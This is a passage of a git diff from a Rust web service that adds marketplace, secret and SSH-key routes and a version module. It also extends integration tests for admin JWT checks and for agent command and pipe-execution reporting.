-                                    .service(crate::routes::marketplace::admin::security_scan_handler)
-                                    .service(crate::routes::marketplace::admin::pricing_handler)
-                                    .service(crate::routes::marketplace::admin::update_verifications_handler),
-                            )
-                            .service(
-                                web::scope("/marketplace")
-                                    .service(crate::routes::marketplace::admin::list_plans_handler),
-                            ),
-                    ),
-            )
-            .service(
-                web::scope("/api/v1/marketplace")
-                    .service(crate::routes::marketplace::public::install_script_handler)
-                    .service(crate::routes::marketplace::public::download_stack_handler)
-                    .service(
-                        web::scope("/agents")
-                            .service(crate::routes::marketplace::agent::register_marketplace_agent_handler),
+                                     .service(crate::routes::marketplace::admin::detail_handler)
+                                     .service(crate::routes::marketplace::admin::approve_handler)
+                                     .service(crate::routes::marketplace::admin::reject_handler)
+                                     .service(
+                                         crate::routes::marketplace::admin::needs_changes_handler,
+                                     )
+                                     .service(crate::routes::marketplace::admin::unapprove_handler)
+                                     .service(crate::routes::marketplace::admin::security_scan_handler)
+                                     .service(crate::routes::marketplace::admin::pricing_handler)
+                                     .service(crate::routes::marketplace::admin::update_verifications_handler)
+                                     .service(crate::routes::marketplace::admin::update_vendor_profile_handler),
+                             )
+                             .service(
+                                 web::scope("/vendors")
+                                     .service(crate::routes::marketplace::admin::list_vendor_profiles_handler)
+                                     .service(crate::routes::marketplace::admin::update_vendor_profile_by_creator_handler),
+                             )
+                             .service(
+                                 web::scope("/marketplace")
+                                     .service(crate::routes::marketplace::admin::list_plans_handler),
+                             ),
                     ),
             )
             .service(
@@ -292,9 +432,15 @@ pub async fn run(
                     .service(crate::routes::server::update::item)
                     .service(crate::routes::server::delete::delete_preview)
                     .service(crate::routes::server::delete::item)
+                    .service(crate::routes::server::secret::list)
+                    .service(crate::routes::server::secret::item)
+                    .service(crate::routes::server::secret::upsert)
+                    .service(crate::routes::server::secret::delete)
+                    .service(crate::routes::server::cloud_firewall::configure)
                     .service(crate::routes::server::ssh_key::generate_key)
                     .service(crate::routes::server::ssh_key::upload_key)
                     .service(crate::routes::server::ssh_key::get_public_key)
+                    .service(crate::routes::server::ssh_key::authorize_public_key)
                     .service(crate::routes::server::ssh_key::validate_key)
                     .service(crate::routes::server::ssh_key::delete_key),
             )
@@ -311,12 +457,17 @@ pub async fn run(
                     .service(crate::routes::chat::delete::item),
             )
             .service(web::resource("/mcp").route(web::get().to(mcp::mcp_websocket)))
+            .service(
+                actix_files::Files::new("/editor", "./web/dist")
+                    .index_file("index.html"),
+            )
             .app_data(json_config.clone())
             .app_data(api_pool.clone())
             .app_data(agent_pool.clone())
             .app_data(mq_manager.clone())
             .app_data(vault_client.clone())
             .app_data(mcp_registry.clone())
+            .app_data(web::Data::new(authorization.clone()))
             .app_data(user_service_connector.clone())
             .app_data(install_service_connector.clone())
             .app_data(dockerhub_connector.clone())
@@ -327,3 +478,50 @@ pub async fn run(
 
     Ok(server)
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use actix_web::{web, App, HttpResponse, HttpServer};
+    use std::net::TcpListener;
+
+    async fn slow_ok() -> HttpResponse {
+        tokio::time::sleep(Duration::from_millis(1500)).await;
+        HttpResponse::Ok().finish()
+    }
+
+    #[tokio::test]
+    async fn oauth_http_client_respects_configured_request_timeout() {
+        let listener = TcpListener::bind("127.0.0.1:0").expect("bind port");
+        let port = listener.local_addr().unwrap().port();
+        let address = format!("http://127.0.0.1:{port}/slow");
+
+        let server = HttpServer::new(|| App::new().route("/slow", web::get().to(slow_ok)))
+            .listen(listener)
+            .unwrap()
+            .run();
+
+        let _server = tokio::spawn(server);
+
+        let settings = Settings {
+            auth_url: address.clone(),
+            auth_request_timeout_secs: 1,
+            auth_connect_timeout_secs: 1,
+            ..Settings::default()
+        };
+
+        let client = build_oauth_http_client(&settings).expect("build oauth client");
+        let started_at = std::time::Instant::now();
+        let err = client
+            .get(&address)
+            .send()
+            .await
+            .expect_err("request should time out");
+
+        assert!(err.is_timeout(), "expected timeout, got: {err}");
+        assert!(
+            started_at.elapsed() < Duration::from_millis(1400),
+            "client timeout should fail before upstream responds"
+        );
+    }
+}
diff --git a/src/version.rs b/src/version.rs
new file mode 100644
index 00000000..177aad73
--- /dev/null
+++ b/src/version.rs
@@ -0,0 +1,26 @@
+use std::sync::OnceLock;
+
+static DISPLAY_VERSION: OnceLock<String> = OnceLock::new();
+
+pub fn display_version() -> &'static str {
+    DISPLAY_VERSION
+        .get_or_init(|| match git_short_hash() {
+            Some(hash) => format!("{} ({hash})", env!("CARGO_PKG_VERSION")),
+            None => env!("CARGO_PKG_VERSION").to_string(),
+        })
+        .as_str()
+}
+
+pub fn git_short_hash() -> Option<&'static str> {
+    option_env!("STACKER_GIT_SHORT_HASH").filter(|hash| !hash.trim().is_empty())
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn display_version_uses_package_version_prefix() {
+        assert!(display_version().starts_with(env!("CARGO_PKG_VERSION")));
+    }
+}
diff --git a/tests/admin_jwt.rs b/tests/admin_jwt.rs
index 47ea942f..e02e63f4 100644
--- a/tests/admin_jwt.rs
+++ b/tests/admin_jwt.rs
@@ -31,7 +31,10 @@ async fn admin_templates_accepts_valid_jwt() {
     let token = create_jwt("admin_service", "ops@test.com", Duration::minutes(30));
 
     let response = client
-        .get(format!("{}/admin/templates?status=pending", app.address))
+        .get(format!(
+            "{}/api/admin/templates?status=pending",
+            app.address
+        ))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
@@ -60,7 +63,10 @@ async fn admin_templates_rejects_expired_jwt() {
     let token = create_jwt("admin_service", "ops@test.com", Duration::minutes(-5));
 
     let response = client
-        .get(format!("{}/admin/templates?status=pending", app.address))
+        .get(format!(
+            "{}/api/admin/templates?status=pending",
+            app.address
+        ))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
@@ -85,7 +91,10 @@ async fn admin_templates_requires_admin_role() {
     let token = create_jwt("group_user", "user@test.com", Duration::minutes(10));
 
     let response = client
-        .get(format!("{}/admin/templates?status=pending", app.address))
+        .get(format!(
+            "{}/api/admin/templates?status=pending",
+            app.address
+        ))
         .header("Authorization", format!("Bearer {}", token))
         .send()
         .await
diff --git a/tests/agent_command_flow.rs b/tests/agent_command_flow.rs
index f998e96e..96ab4a5f 100644
--- a/tests/agent_command_flow.rs
+++ b/tests/agent_command_flow.rs
@@ -2,8 +2,214 @@ mod common;
 
 use chrono::Utc;
 use serde_json::json;
+use stacker::db;
+use stacker::models::{Command, CommandPriority};
 use std::time::Duration;
 
+fn fixture(path: &str) -> serde_json::Value {
+    let body = match path {
+        "activate_pipe.success.report.json" => {
+            include_str!("fixtures/pipe-contract/activate_pipe.success.report.json")
+        }
+        "deactivate_pipe.success.report.json" => {
+            include_str!("fixtures/pipe-contract/deactivate_pipe.success.report.json")
+        }
+        other => panic!("unknown fixture: {}", other),
+    };
+
+    serde_json::from_str(body).expect("fixture should be valid json")
+}
+
+async fn create_test_deployment(app: &common::TestApp, project_name: &str, deployment_hash: &str) {
+    sqlx::query(
+        "INSERT INTO project (stack_id, name, user_id, metadata, created_at, updated_at)
+         VALUES ($1, $2, $3, $4, NOW(), NOW())",
+    )
+    .bind(uuid::Uuid::new_v4())
+    .bind(project_name)
+    .bind("test_user_id")
+    .bind(serde_json::json!({}))
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to create project");
+
+    let project_id: i32 = sqlx::query_scalar("SELECT id FROM project WHERE name = $1 LIMIT 1")
+        .bind(project_name)
+        .fetch_one(&app.db_pool)
+        .await
+        .expect("Failed to get project ID");
+
+    sqlx::query(
+        "INSERT INTO deployment (project_id, deployment_hash, user_id, metadata, status, created_at, updated_at)
+         VALUES ($1, $2, $3, $4, $5, NOW(), NOW())",
+    )
+    .bind(project_id)
+    .bind(deployment_hash)
+    .bind(Some("test_user_id"))
+    .bind(serde_json::json!({}))
+    .bind("pending")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to create deployment");
+}
+
+async fn register_test_agent(
+    client: &reqwest::Client,
+    app: &common::TestApp,
+    deployment_hash: &str,
+) -> (String, String) {
+    let register_payload = json!({
+        "deployment_hash": deployment_hash,
+        "agent_version": "1.0.0",
+        "capabilities": ["docker", "compose", "pipes"],
+        "system_info": {
+            "os": "linux",
+            "arch": "x86_64",
+            "memory_gb": 8
+        }
+    });
+
+    let register_response = client
+        .post(format!("{}/api/v1/agent/register", &app.address))
+        .json(&register_payload)
+        .send()
+        .await
+        .expect("Failed to register agent");
+
+    let register_result: serde_json::Value = register_response
+        .json()
+        .await
+        .expect("Failed to parse register response");
+
+    let agent_id = register_result["data"]["item"]["agent_id"]
+        .as_str()
+        .expect("Missing agent_id")
+        .to_string();
+    let agent_token = register_result["data"]["item"]["agent_token"]
+        .as_str()
+        .expect("Missing agent_token")
+        .to_string();
+
+    (agent_id, agent_token)
+}
+
+async fn create_pipe_instance(
+    app: &common::TestApp,
+    deployment_hash: &str,
+    created_by: &str,
+) -> uuid::Uuid {
+    let pipe_instance_id = uuid::Uuid::new_v4();
+    sqlx::query(
+        "INSERT INTO pipe_instances (
+            id, template_id, deployment_hash, source_container, target_container, target_url,
+            field_mapping_override, config_override, status, last_triggered_at, trigger_count,
+            error_count, created_by, created_at, updated_at
+        ) VALUES (
+            $1, NULL, $2, $3, NULL, NULL, NULL, NULL, $4, NULL, 0, 0, $5, NOW(), NOW()
+        )",
+    )
+    .bind(pipe_instance_id)
+    .bind(deployment_hash)
+    .bind("source-service")
+    .bind("active")
+    .bind(created_by)
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to create pipe instance");
+
+    pipe_instance_id
+}
+
+async fn queue_trigger_pipe_command(
+    app: &common::TestApp,
+    deployment_hash: &str,
+    pipe_instance_id: uuid::Uuid,
+    input_data: serde_json::Value,
+) -> String {
+    let command_id = format!("cmd_{}", uuid::Uuid::new_v4());
+    let command = Command::new(
+        command_id.clone(),
+        deployment_hash.to_string(),
+        "trigger_pipe".to_string(),
+        "test_user_id".to_string(),
+    )
+    .with_priority(CommandPriority::Normal)
+    .with_parameters(json!({
+        "pipe_instance_id": pipe_instance_id.to_string(),
+        "input_data": input_data
+    }));
+
+    let saved_command = db::command::insert(&app.db_pool, &command)
+        .await
+        .expect("Failed to save trigger_pipe command");
+
+    db::command::add_to_queue(
+        &app.db_pool,
+        &saved_command.command_id,
+        &saved_command.deployment_hash,
+        &CommandPriority::Normal,
+    )
+    .await
+    .expect("Failed to queue trigger_pipe command");
+
+    command_id
+}
+
+async fn queue_pipe_command(
+    app: &common::TestApp,
+    deployment_hash: &str,
+    command_type: &str,
+    parameters: serde_json::Value,
+) -> String {
+    let command_id = format!("cmd_{}", uuid::Uuid::new_v4());
+    let command = Command::new(
+        command_id.clone(),
+        deployment_hash.to_string(),
+        command_type.to_string(),
+        "test_user_id".to_string(),
+    )
+    .with_priority(CommandPriority::Normal)
+    .with_parameters(parameters);
+
+    let saved_command = db::command::insert(&app.db_pool, &command)
+        .await
+        .expect("Failed to save pipe command");
+
+    db::command::add_to_queue(
+        &app.db_pool,
+        &saved_command.command_id,
+        &saved_command.deployment_hash,
+        &CommandPriority::Normal,
+    )
+    .await
+    .expect("Failed to queue pipe command");
+
+    command_id
+}
+
+async fn wait_for_command(
+    client: &reqwest::Client,
+    app: &common::TestApp,
+    deployment_hash: &str,
+    agent_id: &str,
+    agent_token: &str,
+) -> serde_json::Value {
+    client
+        .get(format!(
+            "{}/api/v1/agent/commands/wait/{}",
+            &app.address, deployment_hash
+        ))
+        .header("X-Agent-Id", agent_id)
+        .header("Authorization", format!("Bearer {}", agent_token))
+        .timeout(Duration::from_secs(35))
+        .send()
+        .await
+        .expect("Failed to poll for commands")
+        .json()
+        .await
+        .expect("Failed to parse wait response")
+}
+
 /// Test the complete agent/command flow:
 /// 1. Create a deployment
 /// 2. Register an agent for that deployment
@@ -74,7 +280,7 @@ async fn test_agent_command_flow() {
     });
 
     let register_response = client
-        .post(&format!("{}/api/v1/agent/register", &app.address))
+        .post(format!("{}/api/v1/agent/register", &app.address))
         .json(&register_payload)
         .send()
         .await
@@ -98,11 +304,11 @@ async fn test_agent_command_flow() {
         serde_json::to_string_pretty(&register_result).unwrap()
     );
 
-    let agent_id = register_result["item"]["agent_id"]
+    let agent_id = register_result["data"]["item"]["agent_id"]
         .as_str()
         .expect("Missing agent_id")
         .to_string();
-    let agent_token = register_result["item"]["agent_token"]
+    let agent_token = register_result["data"]["item"]["agent_token"]
         .as_str()
         .expect("Missing agent_token")
         .to_string();
@@ -124,7 +330,7 @@ async fn test_agent_command_flow() {
 
     // Use a test Bearer token - the mock auth server will validate any token
     let create_command_response = client
-        .post(&format!("{}/api/v1/commands", &app.address))
+        .post(format!("{}/api/v1/commands", &app.address))
         .header("Authorization", "Bearer test_token_12345")
         .json(&command_payload)
         .send()
@@ -166,7 +372,7 @@ async fn test_agent_command_flow() {
 
     // Agent should authenticate with X-Agent-Id header and Bearer token
     let wait_response = client
-        .get(&format!(
+        .get(format!(
             "{}/api/v1/agent/commands/wait/{}",
             &app.address, deployment_hash
         ))
@@ -209,6 +415,7 @@ async fn test_agent_command_flow() {
         "command_id": command_id,
         "deployment_hash": deployment_hash,
         "status": "completed",
+        "executed_by": "compose_agent",
         "started_at": Utc::now(),
         "completed_at": Utc::now(),
         "result": {
@@ -222,7 +429,7 @@ async fn test_agent_command_flow() {
     });
 
     let report_response = client
-        .post(&format!("{}/api/v1/agent/commands/report", &app.address))
+        .post(format!("{}/api/v1/agent/commands/report", &app.address))
         .header("X-Agent-Id", &agent_id)
         .header("Authorization", format!("Bearer {}", agent_token))
         .json(&report_payload)
@@ -248,11 +455,267 @@ async fn test_agent_command_flow() {
         serde_json::to_string_pretty(&report_result).unwrap()
     );
 
-    // Verify command was marked as completed
-    // (Would need to add a GET command endpoint to verify, but check the response for now)
+    let stored_metadata: Option<serde_json::Value> =
+        sqlx::query_scalar("SELECT metadata FROM commands WHERE command_id = $1")
+            .bind(&command_id)
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to fetch command metadata");
+
+    assert_eq!(
+        stored_metadata
+            .as_ref()
+            .and_then(|value| value.get("executed_by"))
+            .and_then(|value| value.as_str()),
+        Some("compose_agent")
+    );
+
     println!("\n=== Test Completed Successfully ===");
 }
 
+#[tokio::test]
+async fn test_trigger_pipe_report_persists_execution_history() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = reqwest::Client::new();
+
+    let deployment_hash = format!("test_pipe_deployment_{}", uuid::Uuid::new_v4());
+
+    sqlx::query(
+        "INSERT INTO project (stack_id, name, user_id, metadata, created_at, updated_at)
+         VALUES ($1, $2, $3, $4, NOW(), NOW())",
+    )
+    .bind(uuid::Uuid::new_v4())
+    .bind("test_pipe_project")
+    .bind("test_user_id")
+    .bind(serde_json::json!({}))
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to create project");
+
+    let project_id: i32 =
+        sqlx::query_scalar("SELECT id FROM project WHERE name = 'test_pipe_project' LIMIT 1")
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to get project ID");
+
+    sqlx::query(
+        "INSERT INTO deployment (project_id, deployment_hash, user_id, metadata, status, created_at, updated_at)
+         VALUES ($1, $2, $3, $4, $5, NOW(), NOW())"
+    )
+    .bind(project_id)
+    .bind(&deployment_hash)
+    .bind(Some("test_user_id"))
+    .bind(serde_json::json!({}))
+    .bind("pending")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to create deployment");
+
+    let pipe_instance_id = uuid::Uuid::new_v4();
+    sqlx::query(
+        "INSERT INTO pipe_instances (
+            id, template_id, deployment_hash, source_container, target_container, target_url,
+            field_mapping_override, config_override, status, last_triggered_at, trigger_count,
+            error_count, created_by, created_at, updated_at
+        ) VALUES (
+            $1, NULL, $2, $3, NULL, NULL, NULL, NULL, $4, NULL, 0, 0, $5, NOW(), NOW()
+        )",
+    )
+    .bind(pipe_instance_id)
+    .bind(&deployment_hash)
+    .bind("source-service")
+    .bind("active")
+    .bind("test_user_id")
+    .execute(&app.db_pool)
+    .await
+    .expect("Failed to create pipe instance");
+
+    let register_payload = json!({
+        "deployment_hash": deployment_hash,
+        "agent_version": "1.0.0",
+        "capabilities": ["docker", "compose", "pipes"],
+        "system_info": {
+            "os": "linux",
+            "arch": "x86_64",
+            "memory_gb": 8
+        }
+    });
+
+    let register_response = client
+        .post(format!("{}/api/v1/agent/register", &app.address))
+        .json(&register_payload)
+        .send()
+        .await
+        .expect("Failed to register agent");
+
+    let register_result: serde_json::Value = register_response
+        .json()
+        .await
+        .expect("Failed to parse register response");
+
+    let agent_id = register_result["data"]["item"]["agent_id"]
+        .as_str()
+        .expect("Missing agent_id")
+        .to_string();
+    let agent_token = register_result["data"]["item"]["agent_token"]
+        .as_str()
+        .expect("Missing agent_token")
+        .to_string();
+
+    let command_id = format!("cmd_{}", uuid::Uuid::new_v4());
+    let command = Command::new(
+        command_id.clone(),
+        deployment_hash.clone(),
+        "trigger_pipe".to_string(),
+        "test_user_id".to_string(),
+    )
+    .with_priority(CommandPriority::Normal)
+    .with_parameters(json!({
+        "pipe_instance_id": pipe_instance_id.to_string(),
+        "input_data": {
+            "invoice_id": "inv-1"
+        }
+    }));
+
+    let saved_command = db::command::insert(&app.db_pool, &command)
+        .await
+        .expect("Failed to save trigger_pipe command");
+    db::command::add_to_queue(
+        &app.db_pool,
+        &saved_command.command_id,
+        &saved_command.deployment_hash,
+        &CommandPriority::Normal,
+    )
+    .await
+    .expect("Failed to queue trigger_pipe command");
+
+    let wait_response = client
+        .get(format!(
+            "{}/api/v1/agent/commands/wait/{}",
+            &app.address, deployment_hash
+        ))
+        .header("X-Agent-Id", &agent_id)
+        .header("Authorization", format!("Bearer {}", agent_token))
+        .timeout(Duration::from_secs(35))
+        .send()
+        .await
+        .expect("Failed to poll for commands");
+
+    let wait_result: serde_json::Value = wait_response
+        .json()
+        .await
+        .expect("Failed to parse wait response");
+
+    assert_eq!(
+        wait_result["item"]["command_id"].as_str(),
+        Some(command_id.as_str())
+    );
+    assert_eq!(wait_result["item"]["type"].as_str(), Some("trigger_pipe"));
+    assert_eq!(
+        wait_result["item"]["parameters"]["pipe_instance_id"].as_str(),
+        Some(pipe_instance_id.to_string().as_str())
+    );
+
+    let report_payload = json!({
+        "command_id": command_id,
+        "deployment_hash": deployment_hash,
+        "status": "completed",
+        "executed_by": "compose_agent",
+        "started_at": Utc::now(),
+        "completed_at": Utc::now(),
+        "result": {
+            "type": "trigger_pipe",
+            "deployment_hash": deployment_hash,
+            "pipe_instance_id": pipe_instance_id.to_string(),
+            "success": true,
+            "source_data": { "invoice_id": "inv-1" },
+            "mapped_data": { "customer_id": "cust-1" },
+            "target_response": { "queued": true },
+            "triggered_at": Utc::now(),
+            "trigger_type": "manual"
+        }
+    });
+
+    let report_response = client
+        .post(format!("{}/api/v1/agent/commands/report", &app.address))
+        .header("X-Agent-Id", &agent_id)
+        .header("Authorization", format!("Bearer {}", agent_token))
+        .json(&report_payload)
+        .send()
+        .await
+        .expect("Failed to report trigger_pipe command");
+
+    assert!(
+        report_response.status().is_success(),
+        "trigger_pipe report failed: {}",
+        report_response.text().await.unwrap_or_default()
+    );
+
+    let stored_metadata: Option<serde_json::Value> =
+        sqlx::query_scalar("SELECT metadata FROM commands WHERE command_id = $1")
+            .bind(&command_id)
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to fetch command metadata");
+
+    assert_eq!(
+        stored_metadata
+            .as_ref()
+            .and_then(|value| value.get("executed_by"))
+            .and_then(|value| value.as_str()),
+        Some("compose_agent")
+    );
+
+    let execution_count: i64 =
+        sqlx::query_scalar("SELECT COUNT(*) FROM pipe_executions WHERE pipe_instance_id = $1")
+            .bind(pipe_instance_id)
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to count pipe executions");
+    assert_eq!(execution_count, 1);
+
+    let execution_row: (
+        String,
+        String,
+        String,
+        serde_json::Value,
+        serde_json::Value,
+        serde_json::Value,
+    ) = sqlx::query_as(
+        "SELECT status, trigger_type, created_by, source_data, mapped_data, target_response
+             FROM pipe_executions
+             WHERE pipe_instance_id = $1
+             ORDER BY started_at DESC
+             LIMIT 1",
+    )
+    .bind(pipe_instance_id)
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Failed to fetch pipe execution row");
+
+    assert_eq!(execution_row.0, "success");
+    assert_eq!(execution_row.1, "manual");
+    assert_eq!(execution_row.2, "compose_agent");
+    assert_eq!(execution_row.3, json!({ "invoice_id": "inv-1" }));
+    assert_eq!(execution_row.4, json!({ "customer_id": "cust-1" }));
+    assert_eq!(execution_row.5, json!({ "queued": true }));
+
+    let instance_row: (i64, i64, Option<chrono::DateTime<Utc>>) = sqlx::query_as(
+        "SELECT trigger_count, error_count, last_triggered_at FROM pipe_instances WHERE id = $1",
+    )
+    .bind(pipe_instance_id)
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Failed to fetch pipe instance counters");
+
+    assert_eq!(instance_row.0, 1);
+    assert_eq!(instance_row.1, 0);
+    assert!(instance_row.2.is_some());
+}
+
 /// Test agent heartbeat mechanism
 #[tokio::test]
 async fn test_agent_heartbeat() {
@@ -308,7 +771,7 @@ async fn test_agent_heartbeat() {
     });
 
     let register_response = client
-        .post(&format!("{}/api/v1/agent/register", &app.address))
+        .post(format!("{}/api/v1/agent/register", &app.address))
         .json(&register_payload)
         .send()
         .await
@@ -325,12 +788,16 @@ async fn test_agent_heartbeat() {
     }
 
     let register_result: serde_json::Value = register_response.json().await.unwrap();
-    let agent_id = register_result["item"]["agent_id"].as_str().unwrap();
-    let agent_token = register_result["item"]["agent_token"].as_str().unwrap();
+    let agent_id = register_result["data"]["item"]["agent_id"]
+        .as_str()
+        .unwrap();
+    let agent_token = register_result["data"]["item"]["agent_token"]
+        .as_str()
+        .unwrap();
 
     // Poll for commands (this updates heartbeat)
     let wait_response = client
-        .get(&format!(
+        .get(format!(
             "{}/api/v1/agent/commands/wait/{}",
             &app.address, deployment_hash
         ))
@@ -374,15 +841,19 @@ async fn test_command_priority_ordering() {
     });
 
     let register_response = client
-        .post(&format!("{}/api/v1/agent/register", &app.address))
+        .post(format!("{}/api/v1/agent/register", &app.address))
         .json(&register_payload)
         .send()
         .await
         .expect("Failed to register");
 
     let register_result: serde_json::Value = register_response.json().await.unwrap();
-    let agent_id = register_result["item"]["agent_id"].as_str().unwrap();
-    let agent_token = register_result["item"]["agent_token"].as_str().unwrap();
+    let agent_id = register_result["data"]["item"]["agent_id"]
+        .as_str()
+        .unwrap();
+    let agent_token = register_result["data"]["item"]["agent_token"]
+        .as_str()
+        .unwrap();
 
     // Create commands with different priorities (requires auth - will fail without it)
     for (priority, cmd_type) in &[
@@ -398,7 +869,7 @@ async fn test_command_priority_ordering() {
         });
 
         client
-            .post(&format!("{}/api/v1/commands", &app.address))
+            .post(format!("{}/api/v1/commands", &app.address))
             .json(&cmd_payload)
             .send()
             .await
@@ -407,7 +878,7 @@ async fn test_command_priority_ordering() {
 
     // Agent should receive critical command first
     let wait_response = client
-        .get(&format!(
+        .get(format!(
             "{}/api/v1/agent/commands/wait/{}",
             &app.address, deployment_hash
         ))
@@ -477,23 +948,31 @@ async fn test_authenticated_command_creation() {
         "parameters": {}
     });
 
-    let response_no_auth = client
-        .post(&format!("{}/api/v1/commands", &app.address))
-        .json(&cmd_payload)
-        .send()
-        .await
-        .expect("Failed to send request");
+    // Use a dedicated short-lived client for the unauthenticated sub-test so its
+    // connection pool is never shared with the authenticated requests below.
+    // Sharing a client that received a server-side Connection: close on a 403 can
+    // leave a half-closed connection in the pool, causing hyper::Error(IncompleteMessage)
+    // on the very next request even after draining the 403 body.
+    {
+        let anon_client = reqwest::Client::new();
+        let response_no_auth = anon_client
+            .post(format!("{}/api/v1/commands", &app.address))
+            .json(&cmd_payload)
+            .send()
+            .await
+            .expect("Failed to send request");
 
-    println!("No auth response status: {}", response_no_auth.status());
-    assert_eq!(
-        response_no_auth.status(),
-        403,
-        "Should return 403 without authentication"
-    );
+        println!("No auth response status: {}", response_no_auth.status());
+        assert_eq!(
+            response_no_auth.status(),
+            403,
+            "Should return 403 without authentication"
+        );
+    } // anon_client and all its pooled connections are dropped here
 
     println!("\n=== Test 2: Command creation with authentication (should succeed) ===");
     let response_with_auth = client
-        .post(&format!("{}/api/v1/commands", &app.address))
+        .post(format!("{}/api/v1/commands", &app.address))
         .header("Authorization", "Bearer test_token_authenticated")
         .json(&cmd_payload)
         .send()
@@ -523,7 +1002,7 @@ async fn test_authenticated_command_creation() {
 
     println!("\n=== Test 3: List commands for deployment ===");
     let list_response = client
-        .get(&format!(
+        .get(format!(
             "{}/api/v1/commands/{}",
             &app.address, deployment_hash
         ))
@@ -606,7 +1085,7 @@ async fn test_command_priorities_and_permissions() {
         });
 
         let response = client
-            .post(&format!("{}/api/v1/commands", &app.address))
+            .post(format!("{}/api/v1/commands", &app.address))
             .header("Authorization", "Bearer test_token")
             .json(&payload)
             .send()
@@ -635,20 +1114,24 @@ async fn test_command_priorities_and_permissions() {
     });
 
     let register_response = client
-        .post(&format!("{}/api/v1/agent/register", &app.address))
+        .post(format!("{}/api/v1/agent/register", &app.address))
         .json(&register_payload)
         .send()
         .await
         .expect("Failed to register agent");
 
     let register_result: serde_json::Value = register_response.json().await.unwrap();
-    let agent_id = register_result["item"]["agent_id"].as_str().unwrap();
-    let agent_token = register_result["item"]["agent_token"].as_str().unwrap();
+    let agent_id = register_result["data"]["item"]["agent_id"]
+        .as_str()
+        .unwrap();
+    let agent_token = register_result["data"]["item"]["agent_token"]
+        .as_str()
+        .unwrap();
 
     // Agent polls - should receive critical priority first
     println!("\n=== Agent polling for commands (should receive critical first) ===");
     let wait_response = client
-        .get(&format!(
+        .get(format!(
             "{}/api/v1/agent/commands/wait/{}",
             &app.address, deployment_hash
         ))
@@ -679,3 +1162,374 @@ async fn test_command_priorities_and_permissions() {
 
     println!("\n=== Command Priority Test Completed ===");
 }
+
+#[tokio::test]
+async fn test_trigger_pipe_failed_report_persists_execution_history() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = reqwest::Client::new();
+    let deployment_hash = format!("test_pipe_fail_deployment_{}", uuid::Uuid::new_v4());
+
+    create_test_deployment(&app, "test_pipe_fail_project", &deployment_hash).await;
+    let pipe_instance_id = create_pipe_instance(&app, &deployment_hash, "test_user_id").await;
+    let (agent_id, agent_token) = register_test_agent(&client, &app, &deployment_hash).await;
+    let command_id = queue_trigger_pipe_command(
+        &app,
+        &deployment_hash,
+        pipe_instance_id,
+        json!({"invoice_id": "inv-fail"}),
+    )
+    .await;
+
+    let wait_result =
+        wait_for_command(&client, &app, &deployment_hash, &agent_id, &agent_token).await;
+    assert_eq!(
+        wait_result["item"]["command_id"].as_str(),
+        Some(command_id.as_str())
+    );
+    assert_eq!(wait_result["item"]["type"].as_str(), Some("trigger_pipe"));
+
+    let report_payload = json!({
+        "command_id": command_id,
+        "deployment_hash": deployment_hash,
+        "status": "failed",
+        "executed_by": "compose_agent",
+        "started_at": Utc::now(),
+        "completed_at": Utc::now(),
+        "result": {
+            "type": "trigger_pipe",
+            "deployment_hash": deployment_hash,
+            "pipe_instance_id": pipe_instance_id.to_string(),
+            "success": false,
+            "source_data": { "invoice_id": "inv-fail" },
+            "mapped_data": { "customer_id": "cust-fail" },
+            "target_response": { "queued": false },
+            "error": "target endpoint returned 500",
+            "triggered_at": Utc::now(),
+            "trigger_type": "manual"
+        }
+    });
+
+    let report_response = client
+        .post(format!("{}/api/v1/agent/commands/report", &app.address))
+        .header("X-Agent-Id", &agent_id)
+        .header("Authorization", format!("Bearer {}", agent_token))
+        .json(&report_payload)
+        .send()
+        .await
+        .expect("Failed to report failed trigger_pipe command");
+
+    assert!(
+        report_response.status().is_success(),
+        "failed trigger_pipe report failed: {}",
+        report_response.text().await.unwrap_or_default()
+    );
+
+    let execution_row: (i64, Option<String>, Option<String>) = sqlx::query_as(
+        "SELECT COUNT(*), MAX(status), MAX(error) FROM pipe_executions WHERE pipe_instance_id = $1",
+    )
+    .bind(pipe_instance_id)
+    .fetch_one(&app.db_pool)
+    .await
+    .expect("Failed to fetch failed pipe execution");
+
+    assert_eq!(execution_row.0, 1);
+    assert_eq!(execution_row.1.as_deref(), Some("failed"));
+    assert_eq!(
+        execution_row.2.as_deref(),
+        Some("target endpoint returned 500")
+    );
+
+    let instance_row: (i64, i64) =
+        sqlx::query_as("SELECT trigger_count, error_count FROM pipe_instances WHERE id = $1")
+            .bind(pipe_instance_id)
+            .fetch_one(&app.db_pool)
+            .await
+            .expect("Failed to fetch pipe instance counters");
+
+    assert_eq!(instance_row.0, 1);
+    assert_eq!(instance_row.1, 1);
+}
+
+#[tokio::test]
+async fn test_replay_trigger_pipe_report_updates_existing_replay_execution() {
+    let app = match common::spawn_app().await {
+        Some(app) => app,
+        None => return,
+    };
+    let client = reqwest::Client::new();
+    let deployment_hash = format!("test_pipe_replay_deployment_{}", uuid::Uuid::new_v4());
+
+    create_test_deployment(&app, "test_pipe_replay_project", &deployment_hash).await;
+    let pipe_instance_id = create_pipe_instance(&app, &deployment_hash, "test_user_id").await;
+    let (agent_id, agent_token) = register_test_agent(&client, &app, &deployment_hash).await;
+
+    let original_execution_id = uuid::Uuid::new_v4();
+    sqlx::query(
+        "INSERT INTO pipe_executions (
+            id, pipe_instance_id, deployment_hash, trigger_type, status, source_data,
+            mapped_data, target_response, error, duration_ms, replay_of, created_by, started_at, completed_at
+        ) VALUES (
+            $1, $2, $3, $4, $5, $6, $7, $8, NULL, 100, NULL, $9, NOW(), NOW()
+        )",
+    )
+    .bind(original_execution_id)
+    .bind(pipe_instance_id)
